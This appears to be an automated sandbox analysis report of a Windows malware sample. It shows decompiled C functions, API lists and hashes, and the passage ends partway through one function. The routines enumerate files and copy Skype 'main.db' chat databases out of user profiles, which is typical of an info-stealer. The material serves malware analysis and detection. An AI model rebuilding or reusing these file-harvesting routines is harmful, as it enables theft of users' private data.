Instruction Fuzzy Hash: 2E812A74A001199FDB21EB51CC86BCDB7B9EF48304F5041F6A508B7691DB78AF898F58

Uniqueness

Uniqueness Score: -1.00%

Function 004119A8, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E004119A8(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* _t71;
				intOrPtr* _t74;
				void* _t77;
				intOrPtr* _t99;
				void* _t111;
				void* _t115;
				intOrPtr _t130;
				intOrPtr _t143;
				void* _t147;
				void* _t148;
				intOrPtr _t149;

				_t145 = __esi;
				_t144 = __edi;
				_t115 = __ebx + 1;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				_v117 = _v117 + __edx;
				_t147 = _t148;
				_t149 = _t148 + 0xfffffd74;
				_push(_t115);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t147);
				_push(0x411c11);
				_push( *[fs:eax]);
				 *[fs:eax] = _t149;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t71 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t71;
				do {
					_push(_v8);
					_push(0x411c38);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411c38);
					_t74 =  *0x41b3bc; // 0x41c80c
					_push( *_t74);
					E00403E78();
					_t77 = E0040776C(_v624, 0, 0x104); // executed
					if(_t77 != 0) {
						_push(_t147);
						_push(0x411b85);
						_push( *[fs:eax]);
						 *[fs:eax] = _t149;
						_push(_v8);
						_push(0x411c38);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(0x411c38);
						_t99 =  *0x41b3bc; // 0x41c80c
						_push( *_t99);
						E00403E78();
						E00410D88(_v640, 0,  &_v636, _t144, _t145);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x411c38);
						_push(_v12);
						_push(E00411C40);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t111);
						E0040E6D4(_t111, 0, _v648, _t144, _t145);
						_pop(_t143);
						 *[fs:eax] = _t143;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t130);
				 *[fs:eax] = _t130;
				_push(E00411C18);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x004119a8
0x004119a8
0x004119a8
0x004119a9
0x004119ab
0x004119ad
0x004119af
0x004119b5
0x004119b6
0x004119b7
0x004119ba
0x004119c0
0x004119c6
0x004119cc
0x004119d2
0x004119d8
0x004119de
0x004119e4
0x004119ea
0x004119f0
0x004119f6
0x004119f9
0x004119fc
0x00411a02
0x00411a0a
0x00411a12
0x00411a19
0x00411a1a
0x00411a1f
0x00411a22
0x00411a3a
0x00411a4b
0x00411a50
0x00411a53
0x00411a53
0x00411a56
0x00411a6c
0x00411a71
0x00411a77
0x00411a7c
0x00411a81
0x00411a8e
0x00411a99
0x00411aa0
0x00411aa8
0x00411aa9
0x00411aae
0x00411ab1
0x00411ab4
0x00411ab7
0x00411acd
0x00411ad2
0x00411ad8
0x00411add
0x00411ae2
0x00411aef
0x00411b00
0x00411b11
0x00411b1c
0x00411b1d
0x00411b20
0x00411b25
0x00411b28
0x00411b3e
0x00411b43
0x00411b49
0x00411b59
0x00411b6a
0x00411b75
0x00411b76
0x00411b7d
0x00411b80
0x00411b80
0x00411b9f
0x00411bab
0x00411bb2
0x00411bb5
0x00411bb8
0x00411bc8
0x00411bd3
0x00411be3
0x00411bee
0x00411bfe
0x00411c10

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00411C11,?,00000000,?,00000000,?,004123C4,00000000,00000000,004123CE,?,00000000,00000000), ref: 00411A4B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411B9A
FindClose.KERNEL32(?,?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411BAB

Part of subcall function 00410D88: GetTickCount.KERNEL32 ref: 00410DCC
Part of subcall function 00410D88: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00411018,?,.tmp,?,?,00000000,00410F66,?,00000000,00410FE1,?,00000000), ref: 00410E48

Strings

.txt, xrefs: 00411B49
\*.*, xrefs: 00411A32

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*
API String ID: 572697310-2615687548
Opcode ID: 188589a3625cef81850a90477b0c18dc1b28f63863e2270b8840021cd3d89410
Instruction ID: bf64687dc2ad86eb18c2fbcd59d677e1e6eaf9ec35dfa69074ee7f3f85d2a588
Opcode Fuzzy Hash: 188589a3625cef81850a90477b0c18dc1b28f63863e2270b8840021cd3d89410
Instruction Fuzzy Hash: 25514B749052199FCF61EF61CD85ACDBBB8EB48304F5081FAA508B32A1DB389F858F54

Uniqueness

Uniqueness Score: -1.00%

Function 004119AC, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E004119AC(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* _t69;
				intOrPtr* _t72;
				void* _t75;
				intOrPtr* _t97;
				void* _t109;
				intOrPtr _t127;
				intOrPtr _t140;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t142 = __esi;
				_t141 = __edi;
				_t144 = _t145;
				_t146 = _t145 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t144);
				_push(0x411c11);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t69 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t69;
				do {
					_push(_v8);
					_push(0x411c38);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411c38);
					_t72 =  *0x41b3bc; // 0x41c80c
					_push( *_t72);
					E00403E78();
					_t75 = E0040776C(_v624, 0, 0x104); // executed
					if(_t75 != 0) {
						_push(_t144);
						_push(0x411b85);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						_push(_v8);
						_push(0x411c38);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(0x411c38);
						_t97 =  *0x41b3bc; // 0x41c80c
						_push( *_t97);
						E00403E78();
						E00410D88(_v640, 0,  &_v636, _t141, _t142);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x411c38);
						_push(_v12);
						_push(E00411C40);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t109);
						E0040E6D4(_t109, 0, _v648, _t141, _t142);
						_pop(_t140);
						 *[fs:eax] = _t140;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t127);
				 *[fs:eax] = _t127;
				_push(E00411C18);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x004119ac
0x004119ac
0x004119ad
0x004119af
0x004119b5
0x004119b6
0x004119b7
0x004119ba
0x004119c0
0x004119c6
0x004119cc
0x004119d2
0x004119d8
0x004119de
0x004119e4
0x004119ea
0x004119f0
0x004119f6
0x004119f9
0x004119fc
0x00411a02
0x00411a0a
0x00411a12
0x00411a19
0x00411a1a
0x00411a1f
0x00411a22
0x00411a3a
0x00411a4b
0x00411a50
0x00411a53
0x00411a53
0x00411a56
0x00411a6c
0x00411a71
0x00411a77
0x00411a7c
0x00411a81
0x00411a8e
0x00411a99
0x00411aa0
0x00411aa8
0x00411aa9
0x00411aae
0x00411ab1
0x00411ab4
0x00411ab7
0x00411acd
0x00411ad2
0x00411ad8
0x00411add
0x00411ae2
0x00411aef
0x00411b00
0x00411b11
0x00411b1c
0x00411b1d
0x00411b20
0x00411b25
0x00411b28
0x00411b3e
0x00411b43
0x00411b49
0x00411b59
0x00411b6a
0x00411b75
0x00411b76
0x00411b7d
0x00411b80
0x00411b80
0x00411b9f
0x00411bab
0x00411bb2
0x00411bb5
0x00411bb8
0x00411bc8
0x00411bd3
0x00411be3
0x00411bee
0x00411bfe
0x00411c10

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00411C11,?,00000000,?,00000000,?,004123C4,00000000,00000000,004123CE,?,00000000,00000000), ref: 00411A4B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411B9A
FindClose.KERNEL32(?,?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411BAB

Part of subcall function 00410D88: GetTickCount.KERNEL32 ref: 00410DCC
Part of subcall function 00410D88: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00411018,?,.tmp,?,?,00000000,00410F66,?,00000000,00410FE1,?,00000000), ref: 00410E48

Strings

.txt, xrefs: 00411B49
\*.*, xrefs: 00411A32

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*
API String ID: 572697310-2615687548
Opcode ID: 20e6bbbd7d429eb5d29f338352f4f6da7643074105d6f6c2a49781dc5175a8fd
Instruction ID: 460237bab6dc973d40a851033a2d7f34c10cc3b5c211c467e1e524dd2a58d6ff
Opcode Fuzzy Hash: 20e6bbbd7d429eb5d29f338352f4f6da7643074105d6f6c2a49781dc5175a8fd
Instruction Fuzzy Hash: E9511C749052199FCF61EF61CD89ACDBBB9EB48304F5081FAA508B3261DB389F858F54

Uniqueness

Uniqueness Score: -1.00%

Function 00414808, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115
fileCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00414808(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				void* _t53;
				void* _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				void* _t86;
				intOrPtr _t98;
				void* _t107;
				void* _t108;
				struct _WIN32_FIND_DATAW* _t110;
				void* _t113;

				_t108 = __edi;
				_push(__ebx);
				_v620 = 0;
				_v624 = 0;
				_v632 = 0;
				_v636 = 0;
				_v628 = 0;
				_v612 = 0;
				_v616 = 0;
				_v608 = 0;
				_v12 = 0;
				_v8 = __eax;
				E00404150( &_v8);
				_t110 =  &_v604;
				_push(_t113);
				_push(0x4149e5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xfffffd88;
				E004062FC(L"%APPDATA%\\Skype",  &_v12, 0);
				E00403E14( &_v608, 0x414a1c, _v12, 0);
				_t53 = FindFirstFileW(E00403D98(_v608), _t110); // executed
				_t86 = _t53;
				do {
					_push(_v12);
					_push(E00414A28);
					E00403D6C( &_v616, 0x104,  &(_t110->cFileName));
					_push(_v616);
					_push(E00414A28);
					_push(L"main.db");
					E00403E78();
					_t58 = E0040776C(_v612, _t86, 0x104); // executed
					if(_t58 != 0) {
						_push(_v8);
						_push(E00414A28);
						E00403D6C( &_v628, 0x104,  &(_t110->cFileName));
						_push(_v628);
						_push(L"\\main.db");
						E00403E78();
						E0040377C( &_v620, _v624);
						_push(_v620);
						_push(_v12);
						_push(E00414A28);
						E00403D6C( &_v636, 0x104,  &(_t110->cFileName));
						_push(_v636);
						_push(E00414A28);
						_push(L"main.db");
						E00403E78();
						_pop(_t107);
						E0040E79C(_v632, _t86, _t107, _t108, _t110);
					}
					_push(_t110);
					_push(_t86);
					_t59 =  *0x41b198; // 0x41c6b8
				} while ( *((intOrPtr*)( *_t59))() != 0);
				_t62 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t62))();
				_t98 = _t86;
				 *[fs:eax] = _t98;
				_push(E004149EC);
				E00403BF4( &_v636, 4);
				E004034E4( &_v620);
				E00403BF4( &_v616, 3);
				return E00403BF4( &_v12, 2);
			}

0x00414808
0x00414811
0x00414815
0x0041481b
0x00414821
0x00414827
0x0041482d
0x00414833
0x00414839
0x0041483f
0x00414845
0x00414848
0x0041484e
0x00414853
0x0041485b
0x0041485c
0x00414861
0x00414864
0x0041486f
0x00414883
0x0041489b
0x0041489d
0x0041489f
0x0041489f
0x004148a2
0x004148b5
0x004148ba
0x004148c0
0x004148c5
0x004148d5
0x004148e0
0x004148e7
0x004148ed
0x004148f0
0x00414903
0x00414908
0x0041490e
0x0041491e
0x0041492f
0x0041493a
0x0041493b
0x0041493e
0x00414951
0x00414956
0x0041495c
0x00414961
0x00414971
0x0041497c
0x0041497d
0x0041497d
0x00414982
0x00414983
0x00414984
0x0041498d
0x00414996
0x0041499d
0x004149a1
0x004149a4
0x004149a7
0x004149b7
0x004149c2
0x004149d2
0x004149e4

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,004149E5,?,?,00000000,?,00418AAE,?,?,?,00000000), ref: 0041489B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

Part of subcall function 0040E79C: CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C), ref: 0040E824
Part of subcall function 0040E79C: DeleteFileW.KERNEL32(00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C,00000001,?), ref: 0040E866

Strings

%APPDATA%\Skype, xrefs: 0041486A
\main.db, xrefs: 0041490E
main.db, xrefs: 004148C5, 00414961

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AllocAttributesCopyDeleteFindFirstString
String ID: %APPDATA%\Skype$\main.db$main.db
API String ID: 286651494-3737592236
Opcode ID: e102754f0902664a8839acb17eefcc340225c9c865552c7590b0c7b5cb89e84e
Instruction ID: 19230cef7cf7a8845a21ee2fefdbf2b3f3ab80036683e0f1274cfb7aada2b157
Opcode Fuzzy Hash: e102754f0902664a8839acb17eefcc340225c9c865552c7590b0c7b5cb89e84e
Instruction Fuzzy Hash: C6414F70A446199FCB10EF65CC85ACEBBB9EF88305F1141FAA508B32A1D7359F858F18

Uniqueness

Uniqueness Score: -1.00%

Function 00409EE8, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 335
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409EE8(intOrPtr* __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, char _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char _v29;
				char _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				void* _v64;
				char _v68;
				struct _WIN32_FIND_DATAW _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				char _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				char _v700;
				void* _t141;
				intOrPtr* _t144;
				long _t150;
				intOrPtr* _t153;
				intOrPtr* _t157;
				intOrPtr* _t176;
				intOrPtr* _t182;
				intOrPtr* _t188;
				void* _t199;
				intOrPtr* _t203;
				intOrPtr* _t206;
				intOrPtr* _t210;
				void* _t212;
				intOrPtr* _t229;
				void* _t231;
				intOrPtr* _t250;
				void* _t252;
				intOrPtr* _t264;
				intOrPtr* _t267;
				void* _t280;
				intOrPtr _t282;
				intOrPtr _t307;
				intOrPtr _t310;
				intOrPtr _t312;
				intOrPtr _t313;
				void* _t339;
				void* _t341;
				signed int _t343;
				intOrPtr _t345;
				intOrPtr _t346;
				intOrPtr _t347;
				void* _t348;

				_t342 = __esi;
				_t337 = __edi;
				_t278 = __ebx;
				 *((intOrPtr*)(__eax +  *__eax)) =  *((intOrPtr*)(__eax +  *__eax)) + __eax +  *__eax;
				_t345 = _t346;
				_t282 = 0x56;
				do {
					_push(0);
					_push(0);
					_t282 = _t282 - 1;
				} while (_t282 != 0);
				_push(_t282);
				_t1 =  &_v8;
				 *_t1 = _t282;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 =  *_t1;
				_v8 = __edx;
				E00404150( &_v8);
				E00403980(_v12);
				E00403980(_a8);
				_push(_t345);
				_push(0x40a36b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t346;
				_push(0);
				E00404804();
				_t347 = _t346 + 4;
				_v29 = 1;
				E00403E14( &_v664, L"\\*.*", _v8, 0);
				_t141 = FindFirstFileW(E00403D98(_v664),  &_v660); // executed
				_v28 = _t141;
				do {
					_push(_v8);
					E00403D6C( &_v672, 0x104,  &(_v660.cFileName));
					_push(_v672);
					_push(E0040A390);
					_t144 =  *0x41b438; // 0x41c7f0
					_push( *_t144);
					E00403E78();
					_t150 = GetFileAttributesW(E00403D98(_v668)); // executed
					if(_t150 == 0xffffffff) {
						goto L20;
					} else {
						_push(_v8);
						E00403D6C( &_v680, 0x104,  &(_v660.cFileName));
						_push(_v680);
						_push(E0040A390);
						_t188 =  *0x41b438; // 0x41c7f0
						_push( *_t188);
						E00403E78();
						E00409C28(_v676, _t278,  &_v36, _t337, _t342);
						if(_v29 != 0) {
							_t278 = E00404648(_v36) - 1;
							if(_t278 < 0) {
								goto L20;
							} else {
								_t280 = _t278 + 1;
								_t343 = 0;
								while(1) {
									E0040377C( &_v684, _v8);
									_push( &_v684);
									E00403760( &_v688, 0x104,  &(_v660.cFileName));
									_pop(_t199);
									E00403798(_t199, _v688);
									_push(E00403990(_v684));
									_t203 =  *0x41b314; // 0x41ca3c
									if( *((intOrPtr*)( *_t203))() != 0) {
										goto L21;
									}
									_t206 =  *0x41b2b8; // 0x41ca40
									_v16 =  *((intOrPtr*)( *_t206))();
									if(_v16 != 0) {
										_t210 =  *0x41b404; // 0x41ca44
										_t212 =  *((intOrPtr*)( *_t210))(_v16, 1, 0);
										_t347 = _t347 + 0xc;
										if(_t212 == 0) {
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 4 + (_t343 + _t343 * 2) * 4)), _t280,  &_v44, _t337, _t343);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v20);
											_t229 =  *0x41b3b4; // 0x41ca48
											_t231 =  *((intOrPtr*)( *_t229))( &_v56,  &_v68, 0);
											_t348 = _t347 + 0xc;
											if(_t231 == 0) {
												_t337 = _v60 - 1;
												if(_t337 >= 0) {
													_t341 = _t337 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v20, _v692);
														_v40 = _v40 + 1;
														_t341 = _t341 - 1;
													} while (_t341 != 0);
												}
											}
											E004034E4( &_v44);
											E00404F5C();
											E00404F5C();
											E004069A8( *((intOrPtr*)(_v36 + 8 + (_t343 + _t343 * 2) * 4)), _t280,  &_v44, _t337, _t343);
											_v56 = 0;
											_v52 = E004039E8( &_v44);
											_v48 = E00403790(_v44);
											E004034E4( &_v24);
											_t250 =  *0x41b3b4; // 0x41ca48
											_t252 =  *((intOrPtr*)( *_t250))( &_v56,  &_v68, 0);
											_t347 = _t348 + 0xc;
											if(_t252 == 0) {
												_t337 = _v60 - 1;
												if(_t337 >= 0) {
													_t339 = _t337 + 1;
													_v40 = 0;
													do {
														E004036CC();
														E00403798( &_v24, _v696);
														_v40 = _v40 + 1;
														_t339 = _t339 - 1;
													} while (_t339 != 0);
												}
											}
											E004034E4( &_v44);
											E00403760( &_v700, 0x104,  &(_v660.cFileName));
											E0040525C(_a8, _t280,  *((intOrPtr*)(_v36 + (_t343 + _t343 * 2) * 4)), _v12, _t337, _t343, _v700, _v24, _v20);
											_t264 =  *0x41b488; // 0x41ca50
											 *((intOrPtr*)( *_t264))(_v16);
											_t267 =  *0x41b2ec; // 0x41ca4c
											 *((intOrPtr*)( *_t267))();
											_t343 = _t343 + 1;
											_t280 = _t280 - 1;
											if(_t280 != 0) {
												continue;
											} else {
												goto L20;
											}
										}
									}
									goto L21;
								}
							}
						}
					}
					break;
					L20:
					_push( &_v660);
					_push(_v28);
					_t153 =  *0x41b198; // 0x41c6b8
				} while ( *((intOrPtr*)( *_t153))() != 0);
				L21:
				if( &_v16 != 0 && _v16 != 0) {
					 *[fs:eax] = _t347;
					_t182 =  *0x41b488; // 0x41ca50
					 *((intOrPtr*)( *_t182))(_v16,  *[fs:eax], 0x40a2c3, _t345);
					_pop(_t313);
					 *[fs:eax] = _t313;
				}
				_t157 =  *0x41b2ec; // 0x41ca4c
				if( *_t157 != 0) {
					 *[fs:eax] = _t347;
					_t176 =  *0x41b2ec; // 0x41ca4c
					 *((intOrPtr*)( *_t176))( *[fs:eax], 0x40a2f8, _t345);
					_pop(_t312);
					 *[fs:eax] = _t312;
				}
				_pop(_t307);
				 *[fs:eax] = _t307;
				_push(E0040A372);
				E00403508( &_v700, 5);
				E00403BF4( &_v680, 5);
				E004034E4( &_v44);
				_t310 =  *0x409bfc; // 0x409c00
				E00404810( &_v36, _t310);
				E00403508( &_v24, 2);
				E004034E4( &_v12);
				E00403BDC( &_v8);
				return E004034E4( &_a8);
			}

0x00409ee8
0x00409ee8
0x00409ee8
0x00409eea
0x00409ef1
0x00409ef4
0x00409ef9
0x00409ef9
0x00409efb
0x00409efd
0x00409efd
0x00409f00
0x00409f01
0x00409f01
0x00409f04
0x00409f05
0x00409f06
0x00409f07
0x00409f0a
0x00409f10
0x00409f18
0x00409f20
0x00409f27
0x00409f28
0x00409f2d
0x00409f30
0x00409f33
0x00409f43
0x00409f48
0x00409f4b
0x00409f64
0x00409f7c
0x00409f7e
0x00409f81
0x00409f81
0x00409f95
0x00409f9a
0x00409fa0
0x00409fa5
0x00409faa
0x00409fb7
0x00409fcf
0x00409fd4
0x00000000
0x00409fda
0x00409fda
0x00409fee
0x00409ff3
0x00409ff9
0x00409ffe
0x0040a003
0x0040a010
0x0040a01e
0x0040a027
0x0040a037
0x0040a03a
0x00000000
0x0040a040
0x0040a040
0x0040a041
0x0040a043
0x0040a04c
0x0040a057
0x0040a069
0x0040a074
0x0040a075
0x0040a085
0x0040a086
0x0040a092
0x00000000
0x00000000
0x0040a098
0x0040a0a1
0x0040a0a8
0x0040a0b6
0x0040a0bd
0x0040a0bf
0x0040a0c4
0x0040a0d2
0x0040a0df
0x0040a0f1
0x0040a0f8
0x0040a103
0x0040a10e
0x0040a114
0x0040a123
0x0040a12a
0x0040a12c
0x0040a131
0x0040a136
0x0040a139
0x0040a13b
0x0040a13c
0x0040a143
0x0040a152
0x0040a160
0x0040a165
0x0040a168
0x0040a168
0x0040a143
0x0040a139
0x0040a16e
0x0040a17b
0x0040a188
0x0040a19a
0x0040a1a1
0x0040a1ac
0x0040a1b7
0x0040a1bd
0x0040a1cc
0x0040a1d3
0x0040a1d5
0x0040a1da
0x0040a1df
0x0040a1e2
0x0040a1e4
0x0040a1e5
0x0040a1ec
0x0040a1fb
0x0040a209
0x0040a20e
0x0040a211
0x0040a211
0x0040a1ec
0x0040a1e2
0x0040a217
0x0040a235
0x0040a250
0x0040a259
0x0040a260
0x0040a263
0x0040a26a
0x0040a26c
0x0040a26d
0x0040a26e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a26e
0x0040a0c4
0x00000000
0x0040a0a8
0x0040a043
0x0040a03a
0x0040a027
0x00000000
0x0040a274
0x0040a27a
0x0040a27e
0x0040a27f
0x0040a288
0x0040a290
0x0040a295
0x0040a2a8
0x0040a2af
0x0040a2b6
0x0040a2bb
0x0040a2be
0x0040a2be
0x0040a2cd
0x0040a2d5
0x0040a2e2
0x0040a2e5
0x0040a2ec
0x0040a2f0
0x0040a2f3
0x0040a2f3
0x0040a304
0x0040a307
0x0040a30a
0x0040a31a
0x0040a32a
0x0040a332
0x0040a33a
0x0040a340
0x0040a34d
0x0040a355
0x0040a35d
0x0040a36a

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A212), ref: 00409F7C
GetFileAttributesW.KERNEL32(00000000,0041C7F0,0040A390,?,0041A212,?,?,?,?,?,?,0041A212), ref: 00409FCF

Strings

\*.*, xrefs: 00409F5C

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesFindFirst
String ID: \*.*
API String ID: 4185537391-1173974218
Opcode ID: 2569f941f973cc7a9aa44a64cd92bf2ce675548f85e160b619311201e20ee764
Instruction ID: b97e8ac771e1de4e2703fb1056a82e5c1940c71e20b76fb13f5cc48a45ca5039
Opcode Fuzzy Hash: 2569f941f973cc7a9aa44a64cd92bf2ce675548f85e160b619311201e20ee764
Instruction Fuzzy Hash: 08D13871A002099FCB11EF95D881ADEB7F9EF49304F1041BAE504F73A1DB39AE458B99

Uniqueness

Uniqueness Score: -1.00%

Function 00409EF0, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 333
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409EF0(void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, char _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char _v29;
				char _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				void* _v64;
				char _v68;
				struct _WIN32_FIND_DATAW _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				char _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				char _v700;
				void* _t138;
				intOrPtr* _t141;
				long _t147;
				intOrPtr* _t150;
				intOrPtr* _t154;
				intOrPtr* _t173;
				intOrPtr* _t179;
				intOrPtr* _t185;
				void* _t196;
				intOrPtr* _t200;
				intOrPtr* _t203;
				intOrPtr* _t207;
				void* _t209;
				intOrPtr* _t226;
				void* _t228;
				intOrPtr* _t247;
				void* _t249;
				intOrPtr* _t261;
				intOrPtr* _t264;
				void* _t277;
				intOrPtr _t279;
				intOrPtr _t304;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t310;
				void* _t336;
				void* _t338;
				signed int _t340;
				intOrPtr _t342;
